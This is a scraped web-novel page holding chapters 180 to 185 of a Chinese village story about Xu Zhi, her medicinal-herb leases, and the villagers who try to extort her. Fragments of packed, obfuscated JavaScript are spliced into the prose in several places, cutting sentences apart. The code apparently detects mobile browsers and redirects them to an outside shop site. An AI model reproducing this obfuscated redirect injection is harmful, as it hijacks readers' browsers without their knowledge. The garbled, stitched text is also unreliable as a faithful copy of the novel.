0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170856|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “许丫头,你把钱给了我们,我们定然还像第一年那样好好地种药苗,到时候挣了钱,大家一起分,两全其美的事儿,何必像现在这样呢?” 既然有人开了口,剩下的人也开始表达自己的不满。 “那药苗就在那放着,坏了不如还是咱们种,你这丫头怎么这么轴?” “可不是,我们有点不满也正常,你确实赚了不少钱,我们一年到头就挣那十几两银子,可你呢?上千两都是我少说。” “大家都是一个村子的,何必闹的这么难看,我们也是心疼你买的药苗。” “没错,我们也是为你着想,你要是实在不想给我们钱,我们今年就勉强同意帮你继续种着药苗,可不能胡来。” “胡来?” 王茹娇不敢相信自己听到了什么,她冷笑回呛道:“胡来的到底是我们还是你们?还让我们不要闹的太难看。 你们迟迟不种药苗,堵在小芷家门口,威胁她的时候,可有想过咱们都是一个村子的? 明明是你们把路走窄了,还如此厚脸皮的将所有的错推到小芷身上,真是让我大开眼界。” 王茹娇这话可谓是扫把一样,把众人扫的面上无光。 心里气的要死,可面上还真什么话都反驳不了。 只能弱弱说一句:“话不能这么说......” 其中一个嫂子尴尬的开口说道: “许丫头,你跟我们可是签了租地的租契,你要是不种,这租契怎么办?” 不提到租契就算了,提到了租契,许芷可要好好说道说道。 “既然你们提到了租契,那我也就不客气了。” 许芷说的时候,脸上还挂上了淡淡的笑容,只是那笑容让众人不寒而栗。 “既然你们不种药田了,租金请还回来,买卖不成,银钱应当退回。 而且租契上说的清楚,若是因为赁方非正当原因终止租契,租金要十倍赔偿给租房。 也就是说你们要将租金十倍返还给我。” 这话彻底让众人不淡定了,谁能想到今天闹着一出不仅没拿到钱,还要倒贴钱。 第180章 不计前嫌 谁家租地钱没有个十几两,若是十倍,岂不是百两。 **的人都被这些钱给吓到了,纷纷指责起对方,认为自己都是被别人撺掇的。 怪来怪去,那场面差点打起来。 王茹娇冷哼一声,解气的说道:“都是活该!” 许芷只觉得心烦,虽然她从得知此事开始就表现的很淡定,可并不代表她心里不烦躁。 她能冷静地解决问题,但是看到众人这样哄吵的样子,还是忍不住微微皱起了眉头。 正当她打算大声呵止他们,别让他们在她家门口吵架的时候。 里正赶了回来,他看着吵闹的人群,生气的大吼:“都闹什么呢!” 这一嗓子,可把吵闹了半天的人群给镇住了。 众人看到是里正回来了,恶人先告状一般的涌了上去。 “里正,你快管管许丫头吧,她赚了钱竟然想踹了我们,不让我们种药苗。” “是啊里正,她不仅不让我们种了,还要我们还她一百两银子,简直是疯了啊。” “里正,你可要为我们大家做主啊!” 几人哭嚎着,竟要跪地求里正。 张永仁当然不想被他们跪,明明是他们惹的事,自己要是承了他们这跪地之托,那才是难办。 所以他赶紧扶起最前面的人,冷声道:“行了,都好好的,我自会主持公道。” 听到里正这么说,他们只觉得自己有了靠山。 里正声音里的冷意都听得清楚,也只认为这是对许芷不满。 所以有人瞬间改了刚刚那嘴脸,立马趾高气扬的对许芷说道: “许丫头,里正来为我们撑腰了,你可别犟了,赶紧趁早把我们的钱给我们,这样我们还愿意把我们的地让出来种药,要不然,你就等着你那药苗烂在家里吧!” 王茹娇此刻已经懒的跟他们多费口舌了。 她算是知道许芷为什么能如此的淡定,一直容忍这些人的胡言乱语。 原来是因为这些人根本听不进去任何话,跟他们掰扯简直就是浪费时间。 有这功夫,教条狗都学会转圈作揖,而这些人只会得寸进尺。 里正摆摆手,让这些人都先闭嘴,实在是吵得慌。 他走上前问许芷:“许姑娘可想好了,不租他们的地?” “想好了,我尊重他们的选择,既然他们不愿意我也不强人所难。” 许芷回答的很坚定。 那些人见里正来了,许芷还敢这么说话,生气的指着她大吼。 “你这丫头怎么回事,里正都来了,你还犟什么?你信不信我——” 里正回头瞪了那人一眼,那人立马闭上了嘴。 但是看到里正转过头去,还是没忍住继续说:“今日我看在里正的面子上,暂且放过你。” 许芷闻言嗤笑一声,轻蔑的意味异常明显。 那人听了生气的想上前,却听到里正吼他:“给我老实点!” 他这才罢休,但眼神若真是刀子,他已经将许芷捅成了蜂窝。 里正又问:“那赔偿上百两也是你说的?” “是,是我说的。” 许芷回答的很爽快。 听到她这样承认,众人指着她,跟里正告状。 “你看吧里正,她亲口承认了,就是她赚了钱翻脸不认人,让我们这些乡亲们心寒,还让我们赔那么多钱。” “要不人家能赚钱呢,都说无商不奸,许丫头这奸诈劲儿可是能赚大钱。” “里正你可要好好说说她,让她别这么自私,赚点钱都飘了。” “我们不计较她今日如此,只要她还愿意给我们种药,我们不计前嫌。” 里正转头看向说这话的人,那人嘿嘿一笑,还自认为说的对:“你说是吧里正,这丫头估计听你的话。” 张永仁轻笑出声,反问他:“真的不计前嫌?” 那人闻言还拿起了桥:“本来确实是被这丫头弄这事儿给伤到心了,可是若是里正来中间调和,我怎么着也得给里正您这个面子。 您说是吧?” 里正意味深长的点了点头,转身看向众人问道:“所以你们都听我的是吧?” “当然了里正,您可是我们心中的顶梁柱,当然要听您的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170857|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你怎么处理我们怎么听,您管理村子这么多年了,我们信你。” 众人纷纷附和着对里正说好话。 看到这场面王茹娇疑惑不已,不是说邓耧子去了城里告知了情况。 别人不知道就算了,她是知道里正在许芷铺子里修养。 按理说也该听说事情经过,怎么会一副要为这些人做主的样子? 难道里正是想要牺牲许芷一个人,来保全整个村子人? 那可不行啊,这不是把许芷往坑里推。 她着急的上前一步,想要解释,更想要质问一下里正到底什么意思,可是许芷却抓住了她的手。 王茹娇疑惑的转身看向许芷,只见她朝自己摇了摇头。 口型无声的说道:“里正自有分寸。” 王茹娇张了张嘴还没没说话,因为她想到了刚刚许芷也是这样,但最后也没让这些人占了便宜。 所以她站在了许芷的身边等着看里正到底什么意思。 果不其然,里正摆摆手让众人安静下来后,掷地有声的说道: “既然如此,我作为里正,当然应该是支持许丫头的决定。” “这就对了嘛,里正......等等?里正您说什么?你支持这丫头的决定?” 众人还以为自己听错了,不敢相信的看向里正。 张永仁看向**者那不可置信的表情,又大声地说了一遍他的话,甚至这次他还一字一句、掷地有声的将态度表达了出来。 王茹娇听到心里庆幸刚刚许芷拉住了自己,要不然,自己莽撞的冲上去质问里正,岂不是误会了。 **的人还没从里正那话中出来。 尤其是李春草,她难以置信的质问里正:“老张头,我敬你是里正才让你为我们出头,可是你怎么能帮那丫头,不帮着我们这群村里的人呢?” “那丫头可是要我们赔偿一百两,我们谁见过一百两啊!你是想看着我们刚好起来的村子,再变回从前的样子吗?” 其他人也跟着质问里正。 更有甚者,怀疑许芷私下给里正供了钱,所以里正才会护着许芷。 第181章 天老爷啊 听到这无端的恶意猜测,里正愤怒的指着他们骂道:“你们还真以为我不知道怎么回事是吗? 要不是你们拿乔,死活不种药苗,非要让许丫头给你们钱,事情能闹到这一步吗? 到底怎么回事儿我早就听耧子给我讲过了。 这才过了几天好日子,你们就昏了头,不知道东西南北了是吗? 谁给你们的胆子这样**?” 里正说的话像一记大闷锤,在**的每一个人心上的重重敲击着, 所有人都臊的不敢说话,垂着头生怕里正凌厉的眼神看向自己。 也有几个不服气的,虽然做出了低头的动作,可是明显他们脸上的表情甚是不服。 小声的嘟囔着:“她赚了大钱是事实,我们确实拿得少,又不是胡说八道。” 此话一出,那人虽然还是垂着头,但明显感觉到里正的视线落在了他的身上。 他更不敢抬头了。 里正知道这些人的想法已经歪了,怎么说都是徒劳。 所以他愤愤舒出一口气,一锤定音道:“既然许丫头已经做出了选择,人家尊重你们的提议,我也尊重她的选择。 至于许丫头说的一百两银子的赔偿,因为你们跟她都是签了租契的,也是你们先毁约,这钱就应该你们赔。 不过——” “那怎么能行呢?我们就挣了她十几两,还她一百两!她疯了里正你也跟着她疯?” 里正的话一出口瞬间所有人都沸腾了,把里正接下来要说的话都淹没了。 “里正你说的好听,难不成你能把这一百两银子替我们拿出来吗?” “就是,简直是站着说话不腰疼。” “叔,您到底还是不是我们下坪村的里正,这小丫头都不算咱们下坪村的人,你为了外村人寒了本村人的心,值得吗?” 还有人哭着直接跪倒在里正的脚下,哭天喊地的哭闹。 “天老爷啊,闹人命了,让我拿一百两银子不如把我杀了算了!” “我们这种庄户人家,一年到头见不到几两银子,竟然让我们拿出来一百两,这不是要人命吗?” 一时之间,所有人都哭闹不已,听的许芷、王茹娇和里正三人,三个脑子六个大。 里正的话还没说完呢,他想说他会给许芷求求情,让大家只用返还租地的钱就行,而不是一百两银子。 可这些人根本听不到这里,此刻撒泼打滚、污言秽语,真是“热闹非凡”。 而许芷也不可能真的让他们拿出来一百两,她当然知道这些钱他们拿不出来。 但是她要让他们知道这样闹的后果很严重,是她不计较,而不是他们值得原谅。 最后实在是被这些人吵烦了,里正大声呵斥:“都给我闭上嘴!” 一声怒吼,所有人都安静了下来,看着里正一句话不说。 张永仁实在是头疼,但还是忍着大声说道: “现在知道你们一年到头见不到多少银子了? 要是没有许丫头你们一年能挣这一二十两银子? 从前你们种地的时候不也是这些地,出力一样没少出,但是现在能挣一二十两竟然一点不知足,在这要挟人。 现在好了,种不成了,钱赚不到,还得往里贴钱。 我不知道是谁撺掇的这件事,但是你们自己想想,闹这一场有什么好处!” 说完他的眼神扫过在场所有人,语气软了些继续道:“既然是你们闹着不肯种,责任确实在你们,但是也真拿不出这么多钱。 这样吧,我跟许丫头商量商量,看看她能不能只让你们退租地的钱。” 里正说完看了眼许芷,看到许芷微微点了点头,心中更加有底,等着他们表态。 可是里正没想到他话都说到这种地步了,这些人竟然还是不愿意。 李春草不情愿道:“可是地都租出去了,都没种麦子,现在也过了种麦子的时候。 要是把钱退回去了,我们一家人还怎么活?” 其他人也纷纷附和。 “是啊里正,虽然这地是不种了,可是这地也空上了。” “往年这些地都种上粮食,交了人头税之后,剩下的勉强够一家人一年的口粮,可是如今跟从前可不一样。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173995|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就我们种那点粮食,不过也只够交人头税的,交完一家老少吃什么呀?” 他们闹的时候只觉得一定能让许芷妥协,然后大赚一笔。 谁能想到到如今没赚还要往外拿钱。 虽然不用拿出来一百多两,可是租地的钱少说也有十两,一家人过一年没什么问题。 那怕种不成这药苗,有这些钱,他们也能撑一撑,要是连这个钱都没了,这不是要他们饿死! 王茹娇看着他们怎么都不行的样子,讽刺一笑刺道:“怪谁呢?是你们自己闹成这样的,又不是我们非要这样的。 别卖惨,刚刚你们一个个那贪婪又自私的嘴脸可比现在的看着顺眼,怎么活自己想去。 又不是我们让你们这样的,都是活该!” 听到王茹娇的挖苦,众人心里气极可还是不能反驳。 他们祈求里正能帮他们说话,毕竟他们都这么可怜了。 里正从来都是希望村子里好好地,最看不得的就是村子里的人过得不好。 所以他们期待着里正能说点什么。 而许芷听到他们的话,其实也心软了,这么多人,总不能都饿一年吧。 她都想好了打算按照一亩地能折多少银子的粮食,扣除这部分,让他们把剩下的钱还给自己。 她不能要求里正必须站在自己这一边,毕竟里正是整个村子的里正。 为她主持公道她已经知足了,但是不可能让半个村子的人都不好过。 虽然许芷也生气,可她始终还是有那颗医者仁心,不可能看着这么多人吃不饱穿不暖。 所以她刚准备开口跟里正说自己的决定,却听到里正开口道: “我就不信你们没一点存粮,去年大家伙少说也赚了二十两银子,你们可都花完了? 王家丫头说的没错,别买惨,都是一个村子的我再不知道你们是什么情况了。 你们就是贪心,钱扣到手里一点不愿意往外吐,还想来许丫头身上咬一口,都要脸吗? 一百两都不让你们拿了,还在这讨价还价,要是谁再有异议,那就按租契,十倍返还。” 第182章 退钱烧租 里正这么说过之后,无人敢再说什么。 虽然不愿,但是话已至此,只能答应下来,都纷纷表示愿意把钱退回。 许芷也很意外里正会这么说,她都做好妥协的准备了。 她感激的望了一眼里正,里正笑着对她说道:“许丫头,还不赶紧去拿那些人的租契,现在就让他们把钱还了,我在一边帮你烧契。” 许芷哎了声进了屋子,去拿租契。 而里正在外面看着面露菜色的众人,说道:“钱在身上的就在这等着,没拿的赶紧回家拿。 也被想玩什么小心思,我们张家人不少,真让我撵到你们门上去搜钱,那可是有多少拿多少!” 此话一出,有些坏心思的人也只能按下。 张家在村子里算是个大家族,尤其是里面还出了这位里正,整个家族在村子里人多有威望。 青壮年也多,还都是刚正不阿的好性子,除了极个别特例。 所以不管是本村的还是外村的姑娘都盼着能嫁进下坪村的张家儿郎。 要是真让他们找上门了,里正将他们的钱都搜罗走,他们也只能打碎了牙往肚子里咽。 还不如这会儿老实的交出来,起码还能留一点。 等到许芷出来的时候,好多人都不情不愿的把钱退还给了许芷。 许芷让王茹娇在一边烧契,让里正记名字。 这些人以后永不再合作。 而他们还完钱走的时候,里正还不忘提醒他们把油布赶紧还回来。 那些本来想着还能落一张贵油布到时候卖了的人,因为里正这话,这点小心思也被掐灭了。 不过半个时辰,这些人的租契都已经化成了灰。 不少人兴致勃勃的过来,最后走的时候灰头土脸。 怨自己没事儿瞎折腾什么,没多要到钱,还拿出去了钱,更少了一个能稳定赚钱的路子。 也有些就是冥顽不灵,比如李春草。 她硬是拖到最后才上前还钱,还上之后,看向许芷的眼神满是憎恶。 李春草走前还幸灾乐祸道:“也是,许丫头这会儿不回点本怎么办? 那些药苗都不行了,那才是亏大了。” 听到李春草提起药苗,有些没走的试图再求求情。 “是啊,许丫头你那药苗还是没地方种,要不然还种到我家的地里,我不要租金,你就给我个工钱就成。” 此话一出,几个正往外走的人,也赶紧跑回来附和。 他们都愿意,把自己的地无偿给许芷用,只要给个工钱就成。 他们期待的看着许芷,可许芷还是摇了摇头,说道:“既然说了不再合作,怎么着都不成。” 那些人深深叹了口气,垂头丧气的说:“许丫头我们知道错了,今日这事儿是我们不地道。 可是我们这么说也是在挽回你的损失啊,要不然你那药苗都坏了可怎么办? 你这才是亏大了,听我们的才是两全其美。” “要不然工钱减半,你就种我们的地吧,要不然那么多药苗咋办啊?” “我们真的是心疼你买的药苗,没地方种多可惜啊。” 许芷眉眼间染上了一丝不耐,她刚想开口眼里否决,就听到一道鲜亮的声音。 “谁说没地方种啊?” 众人循声看去,原来是高羊村的里正谢乾,他走下了马车,旁边还跟着邓耧子。 两人姗姗来迟,谢乾走上前不屑的望了一眼那些**的人。 “一群鼠目寸光的蠢货,谁说这药苗没地方种,我们高羊村多的是地。” 说着他把怀里的租契拿出来,递给许芷说道: “许丫头,我一听说这事儿又高兴又着急啊,赶紧把村里人召集起来,问过大家的意见,以及你要的亩数,立刻拟好了租契,你看看。” 里正到了高羊村,跟谢乾一说,他立刻答应了下来,这种好事谁傻了才不愿意。 但是他答应不算完,还要问过村里人的意见。 所以他让张永仁先回了自己的村里主持大局,让邓耧子留下等谢乾将村民**起来商量后的结果。 按说他们村子的人粮食都种上了,要是再种药苗不仅费劲儿还意味着要放弃一部分种好的粮食。 谢乾**大家的时候,脑海中还想了很多劝大家的话,心想这种赚钱的机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173996|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转瞬即逝,一定要说服大家。 但是根本用不着他说服,所有人一听有这种赚钱的好事,就是把种下的粮食薅出来也要种药苗。 存粮家里早就备好了,薅出这些粮食也不耽误交人头税。 还能赚个一二十两银子,这笔账大家还是能算的清的。 因为时间紧急,高羊村的租契写在了一张纸上,那些愿意租地的人都签字画押。 这份租契写的很清楚,不仅包含租地还有给那些人工钱的事情。 趁着许芷再看租契,谢乾开口道: “许丫头别担心,虽然我们村的地已经种上了粮。 但是大家都愿意今天就把地给清空了,明日就让你那药苗进地,绝不让你那药苗有任何的闪失!” 下坪村的人一听着话,知道彻底没机会,这才唉声叹气的走了。 许芷听了又感动又觉得不好意思的,人家费劲儿种下去的粮食因为自己这又费劲扒拉出来了。 她看过租契没问题,点点头道:“那就让您费心了。” 她拿出刚刚收的银子的五十两,递给了谢乾。 “这个是赔偿大家已经种下去的粮食的钱。” 谢乾摆摆手,说道:“不用,大家听说能赚钱都高兴得很,都是自愿的。” 许芷求助的看了一眼里正,张永仁站起来把银子放进了谢乾的手里。 “我们村的许丫头会办事,你们只管把药田弄好了就成,钱肯定是不会少了你们的。” 钱都放自己手里了,不拿没道理。 他笑的憨态可掬:“那成,那就谢谢许丫头了。” 有了这些钱,村里人只会更高兴这件事。 许芷收下了租契,按照亩数数出了应该给的租金,再次递给了谢乾。 “里正,这是给你们村子的租金,里面我多数了十两银子,这钱您收下,我不仅还有这村子的药田,还有城里的铺子要忙。 所以到时候,你们村里全要仰仗您多费心了。” 谢乾不是那种扭捏的性子,他深谙拿钱办事的道理,所以直接收下了。 双方约定好,明早送药苗,谢乾就回村了。 第183章 热情似火 第二日,许芷给借来的三辆牛车上装满了买来的药苗。 她买的马车上也铺了东西装满了药苗,装好后,邓耧子和他叫来赶车帮忙的张家兄弟俩,三人一人赶着一辆牛车走。 而许芷则是跟王茹娇赶着牛车跟在后面。 不消一刻,几人到了高羊村村口。 刚到村口就看到有两人在哪等着。 那两人一看到他们拉着药苗过来了,一个看起来没多大的小儿兴奋地跑回去通知大家。 剩下那人年轻些,看着跟张铁牛年纪差不多。 他走上前高兴的介绍自己道:“我是高羊村的谢永强,是里正让我在这等着借你们的,大兄弟,我问下许姑娘呢?” 他介绍完自己,着急的想见见许芷。 邓耧子看了他一眼,面色冷淡的指了指后面那辆马车。 “我外甥女就在那辆马车上,有什么事儿跟我说就行,外男离我外甥女远点为好。” 他防备的说道。 那人对邓耧子讨好一笑,听了这话他要是还上前去找许芷,那他是疯了。 他解释道:“是我们里正让我们一定要好好招待许姑娘,所以我想着帮许姑娘赶赶车,让她歇着没别的意思。” 邓耧子嗯了声,准备说走吧,却听到了无比热闹的声音。 抬头只见高羊村的人都兴奋的朝他们几人冲过来。 上前不由分说,把他们几人赶下了车,说什么怎么能让他们辛苦赶过来。 拉着几人非要让他们吃早饭,许芷他们根本阻拦不了这些人的热情。 心想就这么跟着过去随便吃两口就走。 可是等到他们到了吃饭的地方才觉得自己想的太简单了。 只见他们被引到了平时高羊村全村一起商量通知事情的河边空地,摆了七八桌的席。 全村的人都**在这里,看到许芷他们几个过来了,高兴的起身涌过来。 “许姑娘,快来坐!” “哎呀,这丫头一看就是人美心善,能看上咱们高羊村种药田真是咱们的福气。” “可不是嘛,这丫头长得水灵,怎么看怎么讨人喜欢。” 说着一个年轻的妇人走出人群,来到许芷面前,笑着说道:“许姑娘,我们村的人知道你要来我们村发展药田,都非常高兴。” 许芷懵懵的点了点头,心想确实能看出他们很高兴,就是自己挺尴尬的。 自己两辈子都没经历过这种场面。 那妇人继续说道:“为了感谢你愿意带领我们赚钱,我们村子的人略备薄席,感谢你的恩情。” 王茹娇在一边轻轻说道:“这好像并不是薄席,村里过年都没这么热闹。” 这话让那妇人听到了,好似并未听到什么,也并未准备什么一样,只是温柔一笑。 她五官本就柔和,这样一笑更是显得平易近人。 带着许芷嘴角都微微勾起了,她问到:“还不知这位嫂子是?” 听到这样问了,这位妇人才想到自己没有告知身份。 她恍然大悟道:“我是高羊村里正的媳妇儿刘巧燕,你叫我刘嫂子就行。” 许芷闻言惶恐的退了一步说道:“按辈分来说,您应当是我婶子,我跟娇娇还差一辈呢。” 她指着王茹娇说道。 王茹娇这个名字刘巧燕知道,这是这十里八村唯一一个在官府任职的人家的妹妹。 故而她笑这应道:“那你便叫我婶子,娇娇叫我嫂子。” 话音落下,高羊村的人着急道:“燕子,快让许丫头坐下吃饭吧,站着说话多累呀。” “是啊,赶紧吃饭,许丫头这么早赶过来肯定又累又饿。” 许芷笑的勉强,心想也没多远,不至于这么累这么饿。 但是他们已经自觉地让开一条路,让许芷她们几个去中间那张桌子上坐着。 许芷的笑容僵的厉害。 她靠近刘巧燕小声说道:“婶子,我们早上都吃过饭了,不必这么隆重,要不——” “隆重?不隆重啊。” 刘巧燕不等许芷话说完,直接大声开口否认道:“这就是我们村一顿平常的早饭,你看都没什么东西。 无非就是自己家腌的酸菜,晒得豆角干,没啥。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178918|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顺着她的话,许芷和王茹娇几人看过去,那桌子上慢慢一桌的菜,这要是没啥,那到底得多有啥才算啊。 到底是不好拂了人家的好意,几人硬着头皮做上了主桌。 见到他们坐下,人群中一个洪亮的声音响起。 “开——席——” 瞬间,所有站着的人都找到了位置,规规矩矩的坐着。 这场面看的许芷几个人不知该如何反应。 刘巧燕伸手给许芷舀了一碗红薯稀饭,在她碗边的小碟子里,疯狂夹肉。 这是他们昨天每一家的租金都贡献出来一点,买的肉和菜。 就是为了感谢许芷带着他们赚钱。 他们也没想到许芷还会把赔偿了他们种下的粮食种,这让他们觉得必须得为许芷做点什么。 从昨天知道许芷要在他们村子种药田开始,所有人齐心协力,都**起来,去定好租出去的地里犁地扒种子。 等到下午谢乾把钱拿回来,所有人分到了钱,大家又自发的兑钱去买肉买菜。 提前一天把所有的肉菜都准备好,该腌的腌上,该炸的炸好。 就等许芷今天早上来了,能快速开席,吃上一口热乎饭。 因为人多力量大,硬生生的把要租出去的地基本都翻完了,还剩下一点,打算今天赶快赶出来。 谢乾没在这迎接许芷吃席,就是因为他带着村里几个能干的在地里干活呢。 吃饭的时候,不停有人过来给许芷表达感激之情,最后要不是许芷实在是受不了,用了怕药苗干的太久出问题当借口。 估计全村每一个人都要过来跟她说两句。 而王茹娇、邓耧子和张家兄弟俩,刚开始还觉得不好意思,后面根本就顾不上许芷。 有这好菜谁能忍不住不吃。 几**快朵颐,完全没注意许芷这边的窘迫。 最后,在许芷的强烈要求下,这席结束了。 赶紧去地里种药苗。 刘巧燕带着许芷他们几人在前面走着,后面浩浩荡荡的跟着高阳村全村的人,雄赳赳气昂昂的往地里去。 第184章 指指点点 每块地种什么许芷早在昨天就分清楚了,好在这次剩下的药苗几乎都是多年生的。 种一次起码要三年,不怎么改变。 头一年好好教他们怎么养护,后面两年就不必太费劲儿,到时候收获的时候再来就行。 许芷觉得很省心,也很符合高羊村离自己远一点的实际情况。 她先将所有分好的药苗都让王茹娇他们几个带领大家都卸在每家对应的地头。 卸好之后,他们几个开始分散开,给每一家讲他们种的药苗是什么、怎么种。 示范过后,看着他们种的差不多再去下一家教学。 几人有条不紊的忙着,高羊村的人也都热情好学,各个都是一把好手,他们教起来也没那么费劲儿。 整整一日,许芷带领着大家都在田里忙着。 虽说是她们很快就教完了,但是为了防止大家后面出错,还是在每家每块地的种的时候都跟进了一会儿,还跟着帮忙种一种。 这一忙就是一天,眼前渐渐昏暗才发觉已经是傍晚。 几人又被留下来吃了饭,跟早上一样的阵容。 只是这次许芷身边多了个里正谢乾陪着。 谢乾端起酒杯诚心实意的说道:“许丫头,老张头都给我说了,他说是你主动推荐的我们村。 我本来以为这种好事儿不会轮到我,依照老张头那人,他肯定更想让双羊村干这件事。 所以我是真没想到,什么都不说了,许丫头,都在酒里了,叔对你的感激之情那是无法言说,干了!” 说完豪爽的喝下手中那杯酒。 许芷也微笑的敬了谢乾,喝下了酒。 放下酒杯,许芷才开口道:“叔,其实您也帮了我的忙,要不是你们愿意种药田,我这药苗没地方弄,可就全砸手里了。 我也不怕跟你说,这些药苗起码上千两银子,真是种不出去,我的损失可并不小。 所以是您们帮了我的忙才是。” 谢乾摆摆手,“说到底,咱们这是互惠互利的事情,你放心许丫头,今天我谢乾就把话放在这了。 这药田在我们村,我们一定给你看护好了,不会出现你们村那些人的那种情况。 谁敢这样做,我第一个不同意,直接给他撵出村去。” “有您这句话,我就放心了。” 许芷又干了一杯酒。 同时她把后续需要干的事情简单跟谢乾交代了一声,也说明了到时候她会买需要用的东西,只需要大家出个力气就行。 谢乾拍着胸脯保证道:“这你放心,我们村里的壮汉子多,别的不说,力气有的是!” 得了这句话,许芷很是放心,当晚在高阳村的热情里,头一次喝醉了。 回家的时候早就靠在马车里睡着了。 而许芷在高羊村种了药田这事儿,不过一日传的哪里都是。 没被选到的村子都心想凭什么不是他们,还有人特意去了下坪村,找里正张永仁表达了想合作的想法。 但是这事儿张永仁做不了主,他只能打着哈哈把人糊弄走了。 看着人走了之后,转身就去问许芷的意见。 许芷现在忙的脚不沾地,表示虽然可以考虑,但是今年是肯定不行了。 而且今年种药田的时间其实已经过了,高羊村种的算晚了,再种肯定不行。 听了许芷的话,里正想了想也是。 铺子里忙着,高羊村药田刚开始要许芷操心的地方也多得很,还有自己村子里的。 当下是没这个精力再去搞别的村子。 于是他统一说许芷是在考察,考察到哪个村子可以,再考虑要不要种药田。 为此,许多村子还**起来展示村里的风貌,就渴望能被许芷看重,来种这药苗。 而上坪村的许家则是要呕的吐血。 尤其是许老太,她本想着来这一手,直接让许芷的药田生意黄了,可是没想到竟然更好了。 本来看着下坪村那群蠢货去闹去争,她高兴极了。 越是这样,许芷的生意越是做不成。 就是煽动起来的人才一半,就应该整个村子的人都听了她的话,这样才能彻底把那小丫头按死在那。 可没想到半路跑出来个高羊村,这还让其他的 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一连半个月,一家人老老实实地待在家里,哪都不去,谁都没见他们出过门。 门口别人瞧不起他们丢的垃圾都快堆成一座小山了,臭气熏天的往院子里飘。 好在是天冷,只臭他们一家,臭味不怎么往街坊四邻院子里散。 但是街坊四邻的挖苦声也并不会因为此而少说几句。 许老太气的躺在床上好几日。 老大许留年端着米粥来到老娘炕前,劝道:“娘你多少吃一些,你这都饿了几天了,您这岁数怎么能顶得住。” 许老太气若游丝的摆摆手:“老大,娘不吃,娘吃不下啊!” 说着她剧烈的咳嗽起来。 “这骂声好像就在娘的耳边,日日不绝,夜夜不散,娘怎么有心情吃呢?” 许留年听到这话也是气愤不已。 “这丫头,就算是我们多了几句嘴,至于煽动大家这样对我们吗? 怎么说咱们也是她的血脉至亲!” 第185章 母子坏水 “什么血脉至亲都不管用,我要这丫头死!” 浑身无力的许老太,却在说到这话的时候,整个人眼神里闪出了诡异的光芒。 许留年看着老娘这样子,止不住地打了个寒战。 他颤抖着声音问道:“娘,你想干啥啊?” 许老太有了目标,她好似回光返照一样,一甩刚刚虚弱的样子,对着大儿子命令道: “把粥拿来让我喝了!” 许留年虽然不知道老娘要干什么,但是既然娘愿意吃饭,他就高兴。 慌忙把许老太扶起来,把枕头放在后面,让老娘能舒服的靠着。 接着端起旁边小几上的粥,一勺一勺的慢慢喂给了许老太。 喝完竟然还不够,又喝了两碗才罢休。 看着老娘胃口这么好,许留年算是彻底放下心来。 许老太的脸色也因为这三碗粥好了起来。 她擦了擦嘴,让大儿子许留年出去把老三儿子许过年叫来。 老大微微蹙了蹙眉,有些不愿但还是出去敲了敲老三的房门。 “老三,老三?” 老三许过年这会儿刚跟媳妇儿躺下,听到大哥的声音,满脸烦躁,但不情不愿的哎了一声。 “干啥啊大哥,这也不早了。” 许留年听得出弟弟语气里带着的不耐,他轻嗤一声,心想自己也不想来叫,要不是娘吩咐,他才不要触这霉头。 他按下心中的不爽,继续说道:“娘说要见你,好像是有要紧事。” 话音落下,半天没有听到弟弟的回答,却听到了淅淅索索穿衣服的声音。 可他偏偏装作没听到的样子,故意大声问道:“老三,老三?老三啊!你听到没啊,娘让你过去呢。” 这次许过年倒是回答了,他生气的声音从门缝挤出来。 “听到了听到了!别喊了,非要把一家人都喊醒才罢休吗?” 许留年坏笑一声,故意装作焦急的样子。 “主要是娘叫你,我看你不说话,怕你没听见啊。 既然你听见了那我就走了。” 说完偷偷笑着回了房间,他就是要大声,最好把家里人都吵醒。 